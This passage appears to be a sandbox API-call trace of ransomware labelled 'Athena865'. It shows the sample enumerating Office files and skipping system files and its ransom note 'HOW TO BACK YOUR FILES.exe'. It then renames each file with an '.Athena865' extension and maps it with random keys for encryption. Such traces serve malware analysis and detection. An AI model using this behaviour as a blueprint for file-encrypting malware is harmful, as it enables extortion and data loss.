lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x580, lpName=0x0) returned 0x17c [0141.450] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x580) returned 0x100000 [0141.451] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.452] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.452] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.452] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.453] CloseHandle (hObject=0x17c) returned 1 [0141.453] CloseHandle (hObject=0x154) returned 1 [0141.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.453] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8c8500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f8c8500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INFOPATH_COL.HXT", cAlternateFileName="INFOPA~1.HXT")) returned 1 [0141.453] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.453] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.453] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2=".") returned 1 [0141.453] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2="..") returned 1 [0141.453] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2="windows") returned -1 [0141.453] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2="bootmgr") returned 1 [0141.453] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2="temp") returned -1 [0141.453] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2="pagefile.sys") returned -1 [0141.453] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2="boot") returned 1 [0141.453] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2="ids.txt") returned 1 [0141.453] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2="ntuser.dat") returned -1 [0141.453] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2="perflogs") returned -1 [0141.453] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2="MSBuild") returned -1 [0141.453] lstrlenW (lpString="INFOPATH_COL.HXT") returned 16 [0141.453] lstrcpyW (in: lpString1=0x241e8a8, lpString2="INFOPATH_COL.HXT" | out: lpString1="INFOPATH_COL.HXT") returned="INFOPATH_COL.HXT" [0141.453] lstrlenW (lpString="INFOPATH_COL.HXT") returned 16 [0141.454] lstrlenW (lpString="Athena865") returned 9 [0141.454] lstrcmpiW (lpString1="H_COL.HXT", lpString2="Athena865") returned 1 [0141.454] lstrlenW (lpString=".dll") returned 4 [0141.454] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2=".dll") returned 1 [0141.454] lstrlenW (lpString=".lnk") returned 4 [0141.454] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2=".lnk") returned 1 [0141.454] lstrlenW (lpString=".ini") returned 4 [0141.454] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2=".ini") returned 1 [0141.454] lstrlenW (lpString=".sys") returned 4 [0141.454] lstrcmpiW (lpString1="INFOPATH_COL.HXT", lpString2=".sys") returned 1 [0141.454] lstrlenW (lpString="INFOPATH_COL.HXT") returned 16 [0141.454] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.Athena865") returned 74 [0141.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt.athena865"), dwFlags=0x1) returned 1 [0141.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.456] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=208) returned 1 [0141.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.456] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.457] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.457] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.457] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x17c [0141.459] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0141.459] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.460] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.460] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.461] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.461] CloseHandle (hObject=0x17c) returned 1 [0141.461] CloseHandle (hObject=0x154) returned 1 [0141.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.461] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8c8500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f8c8500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INFOPATH_F_COL.HXK", cAlternateFileName="INFOPA~1.HXK")) returned 1 [0141.461] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.461] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.461] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2=".") returned 1 [0141.461] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2="..") returned 1 [0141.462] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2="windows") returned -1 [0141.462] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2="bootmgr") returned 1 [0141.462] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2="temp") returned -1 [0141.462] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2="pagefile.sys") returned -1 [0141.462] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2="boot") returned 1 [0141.462] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2="ids.txt") returned 1 [0141.462] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2="ntuser.dat") returned -1 [0141.462] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2="perflogs") returned -1 [0141.462] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2="MSBuild") returned -1 [0141.462] lstrlenW (lpString="INFOPATH_F_COL.HXK") returned 18 [0141.462] lstrcpyW (in: lpString1=0x241e8a8, lpString2="INFOPATH_F_COL.HXK" | out: lpString1="INFOPATH_F_COL.HXK") returned="INFOPATH_F_COL.HXK" [0141.462] lstrlenW (lpString="INFOPATH_F_COL.HXK") returned 18 [0141.462] lstrlenW (lpString="Athena865") returned 9 [0141.462] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0141.462] lstrlenW (lpString=".dll") returned 4 [0141.462] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2=".dll") returned 1 [0141.462] lstrlenW (lpString=".lnk") returned 4 [0141.462] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2=".lnk") returned 1 [0141.462] lstrlenW (lpString=".ini") returned 4 [0141.462] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2=".ini") returned 1 [0141.462] lstrlenW (lpString=".sys") returned 4 [0141.462] lstrcmpiW (lpString1="INFOPATH_F_COL.HXK", lpString2=".sys") returned 1 [0141.462] lstrlenW (lpString="INFOPATH_F_COL.HXK") returned 18 [0141.462] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.Athena865") returned 76 [0141.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0141.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.464] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0141.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.464] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.465] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.465] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.465] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0141.469] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0141.470] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.470] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.471] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.471] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.471] CloseHandle (hObject=0x17c) returned 1 [0141.471] CloseHandle (hObject=0x154) returned 1 [0141.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.472] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8c8500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f8c8500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INFOPATH_K_COL.HXK", cAlternateFileName="INFOPA~2.HXK")) returned 1 [0141.472] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.472] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.472] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2=".") returned 1 [0141.472] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2="..") returned 1 [0141.472] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2="windows") returned -1 [0141.472] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2="bootmgr") returned 1 [0141.472] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2="temp") returned -1 [0141.472] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2="pagefile.sys") returned -1 [0141.472] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2="boot") returned 1 [0141.472] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2="ids.txt") returned 1 [0141.472] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2="ntuser.dat") returned -1 [0141.472] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2="perflogs") returned -1 [0141.472] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2="MSBuild") returned -1 [0141.472] lstrlenW (lpString="INFOPATH_K_COL.HXK") returned 18 [0141.472] lstrcpyW (in: lpString1=0x241e8a8, lpString2="INFOPATH_K_COL.HXK" | out: lpString1="INFOPATH_K_COL.HXK") returned="INFOPATH_K_COL.HXK" [0141.472] lstrlenW (lpString="INFOPATH_K_COL.HXK") returned 18 [0141.472] lstrlenW (lpString="Athena865") returned 9 [0141.472] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0141.472] lstrlenW (lpString=".dll") returned 4 [0141.473] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2=".dll") returned 1 [0141.473] lstrlenW (lpString=".lnk") returned 4 [0141.473] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2=".lnk") returned 1 [0141.473] lstrlenW (lpString=".ini") returned 4 [0141.473] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2=".ini") returned 1 [0141.473] lstrlenW (lpString=".sys") returned 4 [0141.473] lstrcmpiW (lpString1="INFOPATH_K_COL.HXK", lpString2=".sys") returned 1 [0141.473] lstrlenW (lpString="INFOPATH_K_COL.HXK") returned 18 [0141.473] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.Athena865") returned 76 [0141.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0141.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.475] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0141.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.475] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.476] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.476] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.476] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0141.478] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0141.478] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.479] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.479] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.480] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.480] CloseHandle (hObject=0x17c) returned 1 [0141.480] CloseHandle (hObject=0x154) returned 1 [0141.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.480] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x108a400, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x108a400, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INSTLIST.VRD", cAlternateFileName="")) returned 1 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2=".") returned 1 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2="..") returned 1 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2="windows") returned -1 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2="bootmgr") returned 1 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2="temp") returned -1 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2="pagefile.sys") returned -1 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2="boot") returned 1 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2="ids.txt") returned 1 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2="ntuser.dat") returned -1 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2="perflogs") returned -1 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2="MSBuild") returned -1 [0141.481] lstrlenW (lpString="INSTLIST.VRD") returned 12 [0141.481] lstrcpyW (in: lpString1=0x241e8a8, lpString2="INSTLIST.VRD" | out: lpString1="INSTLIST.VRD") returned="INSTLIST.VRD" [0141.481] lstrlenW (lpString="INSTLIST.VRD") returned 12 [0141.481] lstrlenW (lpString="Athena865") returned 9 [0141.481] lstrcmpiW (lpString1="TLIST.VRD", lpString2="Athena865") returned 1 [0141.481] lstrlenW (lpString=".dll") returned 4 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2=".dll") returned 1 [0141.481] lstrlenW (lpString=".lnk") returned 4 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2=".lnk") returned 1 [0141.481] lstrlenW (lpString=".ini") returned 4 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2=".ini") returned 1 [0141.481] lstrlenW (lpString=".sys") returned 4 [0141.481] lstrcmpiW (lpString1="INSTLIST.VRD", lpString2=".sys") returned 1 [0141.481] lstrlenW (lpString="INSTLIST.VRD") returned 12 [0141.481] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.Athena865") returned 70 [0141.482] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd.athena865"), dwFlags=0x1) returned 1 [0141.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.484] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1899) returned 1 [0141.484] 